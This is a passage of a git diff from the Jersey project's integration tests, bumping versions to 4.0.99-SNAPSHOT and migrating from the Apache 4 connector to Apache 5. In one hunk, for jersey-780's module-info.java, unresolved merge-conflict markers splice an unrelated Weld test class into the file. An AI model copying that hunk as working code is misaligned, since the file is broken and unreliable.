         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -59,14 +59,6 @@
             <artifactId>jersey-server</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.bundles</groupId>
-            <artifactId>jaxrs-ri</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
         </dependency>
@@ -129,10 +121,6 @@
             <artifactId>jersey-container-servlet-core</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-simple-http</artifactId>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.containers.glassfish</groupId>
             <artifactId>jersey-gf-ejb</artifactId>
         </dependency>
@@ -289,10 +277,6 @@
             <artifactId>jersey-hk2</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.inject</groupId>
-            <artifactId>jersey-cdi2-se</artifactId>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
             <artifactId>jersey-test-framework-core</artifactId>
         </dependency>
@@ -319,10 +303,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-simple</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
             <artifactId>jersey-test-framework-provider-jetty</artifactId>
         </dependency>
         <dependency>
diff --git a/tests/integration/jersey-780/pom.xml b/tests/integration/jersey-780/pom.xml
index f375d10..504c5b2 100644
--- a/tests/integration/jersey-780/pom.xml
+++ b/tests/integration/jersey-780/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-780</artifactId>
diff --git a/tests/integration/jersey-780/src/main/java/module-info.java b/tests/integration/jersey-780/src/main/java/module-info.java
index 1537fc5..9b24444 100644
--- a/tests/integration/jersey-780/src/main/java/module-info.java
+++ b/tests/integration/jersey-780/src/main/java/module-info.java
@@ -1,5 +1,9 @@
 /*
+<<<<<<<< HEAD:incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+========
  * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+>>>>>>>> origin/3.1.JPMS:tests/integration/jersey-780/src/main/java/module-info.java
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,6 +18,22 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
+<<<<<<<< HEAD:incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java
+package org.glassfish.jersey.inject.weld;
+
+import org.glassfish.jersey.internal.inject.Injections;
+import org.junit.jupiter.api.BeforeEach;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ClientTestParent extends TestParent {
+    @BeforeEach
+    public void init() {
+        injectionManager = Injections.createInjectionManager(RuntimeType.CLIENT);
+    }
+}
+========
 module org.glassfish.jersey.tests.integration.jersey_780 {
     requires jakarta.ws.rs;
-}
\ No newline at end of file
+}
+>>>>>>>> origin/3.1.JPMS:tests/integration/jersey-780/src/main/java/module-info.java
diff --git a/tests/integration/microprofile/config/helidon/pom.xml b/tests/integration/microprofile/config/helidon/pom.xml
index 674c9a5..3822b47 100644
--- a/tests/integration/microprofile/config/helidon/pom.xml
+++ b/tests/integration/microprofile/config/helidon/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-config-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -80,25 +80,6 @@
 
     <profiles>
         <profile>
-            <id>TestExclude</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/tests/integration/config/*Test.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>smallrye-dependency</id>
             <activation>
                 <jdk>[11,)</jdk>
@@ -115,7 +96,7 @@
         <profile>
             <id>helidon-config-dependency</id>
             <activation>
-                <jdk>[17,)</jdk>
+                <jdk>[21,)</jdk>
             </activation>
             <dependencies>
                 <dependency>
diff --git a/tests/integration/microprofile/config/pom.xml b/tests/integration/microprofile/config/pom.xml
index b44cddd..426120f 100644
--- a/tests/integration/microprofile/config/pom.xml
+++ b/tests/integration/microprofile/config/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
diff --git a/tests/integration/microprofile/config/webapp/pom.xml b/tests/integration/microprofile/config/webapp/pom.xml
index 519e2da..f1a77c8 100644
--- a/tests/integration/microprofile/config/webapp/pom.xml
+++ b/tests/integration/microprofile/config/webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-config-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -40,10 +40,6 @@
                 </exclusion>
             </exclusions>
         </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.bundles</groupId>
-            <artifactId>jaxrs-ri</artifactId>
-        </dependency>
     </dependencies>
 
     <build>
diff --git a/tests/integration/microprofile/pom.xml b/tests/integration/microprofile/pom.xml
index d9dff8b..284d717 100644
--- a/tests/integration/microprofile/pom.xml
+++ b/tests/integration/microprofile/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
diff --git a/tests/integration/microprofile/rest-client-tck/pom.xml b/tests/integration/microprofile/rest-client-tck/pom.xml
index 60bb5a0..b2ccaae 100644
--- a/tests/integration/microprofile/rest-client-tck/pom.xml
+++ b/tests/integration/microprofile/rest-client-tck/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -178,7 +178,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
diff --git a/tests/integration/microprofile/rest-client/pom.xml b/tests/integration/microprofile/rest-client/pom.xml
index 001014e..6f61a81 100644
--- a/tests/integration/microprofile/rest-client/pom.xml
+++ b/tests/integration/microprofile/rest-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -59,7 +59,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
diff --git a/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java
index ddacaa0..c920473 100644
--- a/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java
+++ b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,12 +20,13 @@
 import java.net.URISyntaxException;
 import java.util.concurrent.CountDownLatch;
 
-import org.apache.http.conn.ConnectionRequest;
-import org.apache.http.conn.routing.HttpRoute;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
+import org.apache.hc.client5.http.HttpRoute;
+import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
+import org.apache.hc.client5.http.io.LeaseRequest;
+import org.apache.hc.core5.util.Timeout;
 import org.eclipse.microprofile.rest.client.RestClientBuilder;
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.TestProperties;
@@ -50,17 +51,22 @@
         PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager() {
 
             @Override
-            public ConnectionRequest requestConnection(HttpRoute route, Object state) {
+            public LeaseRequest lease(String id, HttpRoute route, Object state) {
                 countDownLatch.countDown();
-                return super.requestConnection(route, state);
+                return super.lease(id, route, state);
             }
 
+            @Override
+            public LeaseRequest lease(String id, HttpRoute route, Timeout requestTimeout, Object state) {
+                countDownLatch.countDown();
+                return super.lease(id, route, requestTimeout, state);
+            }
         };
 
         ApplicationResource app = RestClientBuilder.newBuilder()
                 .baseUri(new URI("http://localhost:9998"))
-                .property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager)
-                .register(ApacheConnectorProvider.class)
+                .property(Apache5ClientProperties.CONNECTION_MANAGER, connectionManager)
+                .register(Apache5ConnectorProvider.class)
                 .build(ApplicationResource.class);
 
         app.getTestMap();
diff --git a/tests/integration/pom.xml b/tests/integration/pom.xml
index f2870ca..c60cd77 100644
--- a/tests/integration/pom.xml
+++ b/tests/integration/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.integration</groupId>
@@ -34,39 +34,109 @@
 
     <modules>
         <module>asm</module>
+        <module>async-jersey-filter</module>
         <module>cdi-integration</module>
         <module>client-connector-provider</module>
         <module>ejb-multimodule</module>
         <module>ejb-multimodule-reload</module>
         <module>ejb-test-webapp</module>
+        <module>externalproperties</module>
         <module>j-376</module>
         <module>j-441</module>
         <module>j-59</module>
         <module>jackson-14</module>
+        <module>jaxrs-component-inject</module>
+        <module>jersey-780</module>
+        <module>jersey-1107</module>
+        <module>jersey-1223</module>
+        <module>jersey-1604</module>
+        <module>jersey-1667</module>
+        <module>jersey-1829</module>
+        <module>jersey-1883</module>
+        <module>jersey-1928</module>
+        <module>jersey-1960</module>
+        <module>jersey-1964</module>
+        <module>jersey-2031</module>
         <module>jersey-2136</module>
         <module>jersey-2137</module>
         <module>jersey-2154</module>
+        <module>jersey-2160</module>
+        <module>jersey-2164</module>
+        <module>jersey-2167</module>
+        <module>jersey-2176</module>
+        <module>jersey-2184</module>
+        <module>jersey-2255</module>
+        <module>jersey-2322</module>
+        <module>jersey-2335</module>
         <module>jersey-2421</module>
+        <module>jersey-2551</module>
+        <module>jersey-2612</module>
+        <module>jersey-2637</module>
+        <module>jersey-2654</module>
+        <module>jersey-2673</module>
+        <module>jersey-2689</module>
+        <module>jersey-2704</module>
         <module>jersey-2776</module>
+        <module>jersey-2794</module>
+        <module>jersey-2846</module>
+        <module>jersey-2878</module>
+        <module>jersey-2892</module>
         <module>jersey-3662</module>
         <module>jersey-3670</module>
+        <module>jersey-3796</module>
         <module>jersey-3992</module>
         <module>jersey-4003</module>
         <module>jersey-4099</module>
-        <module>jersey-4321</module>
         <module>jersey-4507</module>
         <module>jersey-4542</module>
         <module>jersey-4697</module>
         <module>jersey-4722</module>
+        <module>jersey-4949</module>
         <module>jersey-5087</module>
         <module>microprofile</module>
         <module>property-check</module>
         <module>reactive-streams</module>
+        <module>security-digest</module>
         <module>servlet-2.5-reload</module>
         <module>servlet-3-gf-async</module>
         <module>servlet-3-sse-1</module>
-        <!--        <module>spring4</module>-->
-        <!--        <module>spring5</module>-->
+        <module>servlet-2.5-autodiscovery-1</module>
+        <module>servlet-2.5-autodiscovery-2</module>
+        <module>servlet-2.5-filter</module>
+        <module>servlet-2.5-inflector-1</module>
+        <module>servlet-2.5-init-1</module>
+        <module>servlet-2.5-init-2</module>
+        <module>servlet-2.5-init-3</module>
+        <module>servlet-2.5-init-4</module>
+        <module>servlet-2.5-init-5</module>
+        <module>servlet-2.5-init-6</module>
+        <module>servlet-2.5-init-7</module>
+        <module>servlet-2.5-init-8</module>
+        <module>servlet-2.5-mvc-1</module>
+        <module>servlet-2.5-mvc-2</module>
+        <module>servlet-2.5-mvc-3</module>
+        <module>servlet-3-async</module>
+        <module>servlet-3-chunked-io</module>
+        <module>servlet-3-filter</module>
+        <module>servlet-3-inflector-1</module>
+        <module>servlet-3-init-1</module>
+        <module>servlet-3-init-2</module>
+        <module>servlet-3-init-3</module>
+        <module>servlet-3-init-4</module>
+        <module>servlet-3-init-5</module>
+        <module>servlet-3-init-6</module>
+        <module>servlet-3-init-7</module>
+        <module>servlet-3-init-8</module>
+        <module>servlet-3-init-9</module>
+        <module>servlet-3-init-provider</module>
+        <module>servlet-3-params</module>
+        <module>servlet-4.0-mvc-1</module>
+        <module>servlet-tests</module>
+        <module>servlet-request-wrapper-binding</module>
+        <module>servlet-request-wrapper-binding-2</module>
+        <module>sonar-test</module>
+        <module>spring6</module>
+        <module>tracing-support</module>
         <module>thin-server</module>
     </modules>
 
@@ -119,87 +189,6 @@
                 </pluginManagement>
             </build>
         </profile>
-        <profile>
-            <id>jdk17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <modules>
-                <module>async-jersey-filter</module>
-                <module>externalproperties</module>
-                <module>jaxrs-component-inject</module>
-                <module>jersey-780</module>
-                <module>jersey-1107</module>
-                <module>jersey-1223</module>
-                <module>jersey-1604</module>
-                <module>jersey-1667</module>
-                <module>jersey-1883</module>
-                <module>jersey-1928</module>
-                <module>jersey-1960</module>
-                <module>jersey-1964</module>
-                <module>jersey-2031</module>
-                <module>jersey-2160</module>
-                <module>jersey-2164</module>
-                <module>jersey-2167</module>
-                <module>jersey-2176</module>
-                <module>jersey-2184</module>
-                <module>jersey-2255</module>
-                <module>jersey-2322</module>
-                <module>jersey-2335</module>
-                <module>jersey-2551</module>
-                <module>jersey-2612</module>
-                <module>jersey-2637</module>
-                <module>jersey-2654</module>
-                <module>jersey-2673</module>
-                <module>jersey-2689</module>
-                <module>jersey-2704</module>
-                <module>jersey-2794</module>
-                <module>jersey-2846</module>
-                <module>jersey-2878</module>
-                <module>jersey-2892</module>
-                <module>jersey-3796</module>
-                <module>jersey-4949</module>
-                <module>resteasy-client</module>
-                <module>security-digest</module>
-                <module>servlet-2.5-autodiscovery-1</module>
-                <module>servlet-2.5-autodiscovery-2</module>
-                <module>servlet-2.5-filter</module>
-                <module>servlet-2.5-inflector-1</module>
-                <module>servlet-2.5-init-1</module>
-                <module>servlet-2.5-init-2</module>
-                <module>servlet-2.5-init-3</module>
-                <module>servlet-2.5-init-4</module>
-                <module>servlet-2.5-init-5</module>
-                <module>servlet-2.5-init-6</module>
-                <module>servlet-2.5-init-7</module>
-                <module>servlet-2.5-init-8</module>
-                <module>servlet-2.5-mvc-1</module>
-                <module>servlet-2.5-mvc-2</module>
-                <module>servlet-2.5-mvc-3</module>
-                <module>servlet-3-async</module>
-                <module>servlet-3-chunked-io</module>
-                <module>servlet-3-filter</module>
-                <module>servlet-3-inflector-1</module>
-                <module>servlet-3-init-1</module>
-                <module>servlet-3-init-2</module>
-                <module>servlet-3-init-3</module>
-                <module>servlet-3-init-4</module>
-                <module>servlet-3-init-5</module>
-                <module>servlet-3-init-6</module>
-                <module>servlet-3-init-7</module>
-                <module>servlet-3-init-8</module>
-                <module>servlet-3-init-9</module>
-                <module>servlet-3-init-provider</module>
-                <module>servlet-3-params</module>
-                <module>servlet-4.0-mvc-1</module>
-                <module>servlet-tests</module>
-                <module>servlet-request-wrapper-binding</module>
-                <module>servlet-request-wrapper-binding-2</module>
-                <module>sonar-test</module>
-                <module>spring6</module>
-                <module>tracing-support</module>
-            </modules>
-        </profile>
     </profiles>
 
     <build>
diff --git a/tests/integration/property-check/pom.xml b/tests/integration/property-check/pom.xml
index 47d4eb4..8639065 100644
--- a/tests/integration/property-check/pom.xml
+++ b/tests/integration/property-check/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>property-check</artifactId>
@@ -70,11 +70,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
diff --git a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
index 00701ff..014e8cc 100644
--- a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
+++ b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
@@ -31,7 +31,6 @@
 import java.util.stream.Stream;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
 import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.internal.InternalProperties;
@@ -94,7 +93,6 @@
             System.setProperty(ClientProperties.BACKGROUND_SCHEDULER_THREADPOOL_SIZE, TEST_STRING);
             System.setProperty(ServletProperties.JAXRS_APPLICATION_CLASS, TEST_STRING);
             System.setProperty(MessageProperties.IO_BUFFER_SIZE, TEST_STRING);
-            System.setProperty(ApacheClientProperties.DISABLE_COOKIES, TEST_STRING);
             System.setProperty(Apache5ClientProperties.DISABLE_COOKIES, TEST_STRING);
             System.setProperty(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION, TEST_STRING);
             System.setProperty(JavaNetHttpClientProperties.DISABLE_COOKIES, TEST_STRING);
@@ -121,9 +119,7 @@
             assertFalse(properties.containsKey(InternalProperties.JSON_FEATURE));
             assertEquals(TEST_STRING, properties.get(MessageProperties.IO_BUFFER_SIZE));
             assertFalse(properties.containsKey(MessageProperties.DEFLATE_WITHOUT_ZLIB));
-            assertEquals(TEST_STRING, properties.get(ApacheClientProperties.DISABLE_COOKIES));
             assertEquals(TEST_STRING, properties.get(Apache5ClientProperties.DISABLE_COOKIES));
-            assertFalse(properties.containsKey(ApacheClientProperties.CONNECTION_MANAGER));
             assertFalse(properties.containsKey(Apache5ClientProperties.CONNECTION_MANAGER));
             assertEquals(TEST_STRING, properties.get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION));
             assertFalse(properties.containsKey(JettyClientProperties.DISABLE_COOKIES));
diff --git a/tests/integration/property-check/src/test/java/org/glassfish/jersey/tests/integration/propertycheck/PropertyOverlappingCheckTest.java b/tests/integration/property-check/src/test/java/org/glassfish/jersey/tests/integration/propertycheck/PropertyOverlappingCheckTest.java
index 6b5eb3d..fabd9d7 100644
--- a/tests/integration/property-check/src/test/java/org/glassfish/jersey/tests/integration/propertycheck/PropertyOverlappingCheckTest.java
+++ b/tests/integration/property-check/src/test/java/org/glassfish/jersey/tests/integration/propertycheck/PropertyOverlappingCheckTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
 import java.util.logging.Logger;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
+import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.internal.util.PropertiesClass;
 import org.glassfish.jersey.internal.util.Property;
@@ -71,7 +71,7 @@
 
     private static final Class<?>[] classes = new Class[] {
             JettyClientProperties.class,
-            ApacheClientProperties.class,
+            Apache5ClientProperties.class,
             OAuth1ServerProperties.class,
             ServletProperties.class,
             CommonProperties.class,
diff --git a/tests/integration/reactive-streams/pom.xml b/tests/integration/reactive-streams/pom.xml
index 6692a4f..f1864b9 100644
--- a/tests/integration/reactive-streams/pom.xml
+++ b/tests/integration/reactive-streams/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
diff --git a/tests/integration/reactive-streams/sse/pom.xml b/tests/integration/reactive-streams/sse/pom.xml
index 35f8814..a8ed594 100644
--- a/tests/integration/reactive-streams/sse/pom.xml
+++ b/tests/integration/reactive-streams/sse/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>reactive-streams-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.reactive</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyEventSinkWhiteBoxSubscriberTckTest.java b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyEventSinkWhiteBoxSubscriberTckTest.java
index 6aa5a86..d1313ec 100644
--- a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyEventSinkWhiteBoxSubscriberTckTest.java
+++ b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyEventSinkWhiteBoxSubscriberTckTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,12 +18,12 @@
 
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Flow;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 
 import static org.testng.Assert.fail;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
 import org.reactivestreams.Subscriber;
 import org.reactivestreams.tck.SubscriberWhiteboxVerification;
 import org.reactivestreams.tck.TestEnvironment;
diff --git a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyFlowAdapters.java b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyFlowAdapters.java
index 5740359..967301f 100644
--- a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyFlowAdapters.java
+++ b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/JerseyFlowAdapters.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,15 +16,15 @@
 
 package org.glassfish.jersey.media.sse.internal;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
+import java.util.concurrent.Flow;
 
 public class JerseyFlowAdapters {
 
     /**
-     * Adapt {@link org.glassfish.jersey.internal.jsr166.Flow.Subscriber} to
+     * Adapt {@link Flow.Subscriber} to
      * {@link org.reactivestreams.Subscriber}.
      *
-     * @param jerseySubscriber Jersey's repackaged {@link org.glassfish.jersey.internal.jsr166.Flow.Subscriber}
+     * @param jerseySubscriber Jersey's repackaged {@link Flow.Subscriber}
      * @param <T>              payload type
      * @return Reactive Streams's {@link org.reactivestreams.Subscriber}
      */
diff --git a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/SseSubscriberTest.java b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/SseSubscriberTest.java
index 948a210..2fa413d 100644
--- a/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/SseSubscriberTest.java
+++ b/tests/integration/reactive-streams/sse/src/test/java/org/glassfish/jersey/media/sse/internal/SseSubscriberTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,7 @@
 import java.util.List;
 import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Flow;
 import java.util.concurrent.TimeUnit;
 import java.util.stream.Collectors;
 
@@ -44,7 +45,6 @@
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
 import io.reactivex.Flowable;
-import org.glassfish.jersey.internal.jsr166.Flow;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
diff --git a/tests/integration/security-digest/pom.xml b/tests/integration/security-digest/pom.xml
index e2183c5..70d8659 100644
--- a/tests/integration/security-digest/pom.xml
+++ b/tests/integration/security-digest/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>security-digest</artifactId>
diff --git a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
index 6b3fd7a..8268599 100644
--- a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-autodiscovery-1</artifactId>
diff --git a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
index 63eeca1..748dc56 100644
--- a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-autodiscovery-2</artifactId>
@@ -34,11 +34,6 @@
 
     <dependencies>
         <dependency>
-            <groupId>org.glassfish.jersey.bundles</groupId>
-            <artifactId>jaxrs-ri</artifactId>
-            <type>jar</type>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
             <artifactId>jersey-bean-validation</artifactId>
             <exclusions>
@@ -48,6 +43,10 @@
                 </exclusion>
             </exclusions>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-servlet-core</artifactId>
+        </dependency>
 
         <dependency>
